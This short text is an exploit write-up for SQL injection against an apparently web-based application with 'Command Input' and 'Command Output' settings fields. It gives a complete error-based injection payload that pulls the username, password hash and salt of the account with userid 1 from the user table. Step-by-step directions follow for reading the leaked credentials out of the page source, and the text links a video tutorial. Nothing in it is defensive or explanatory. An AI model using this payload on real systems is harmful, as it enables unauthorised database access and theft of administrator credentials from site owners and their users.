SQL Injection
' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#
Insert SQL injection into the first "Command Input" box and enter anything into the first "Command Output" box, hit save settings, you will be treated with a database error, view the page source and scroll to the bottom of the page, you will see some quoted text containing the data you want.
Video Tutorial
http://www.youtube.com/watch?v=g70_JaKnBbw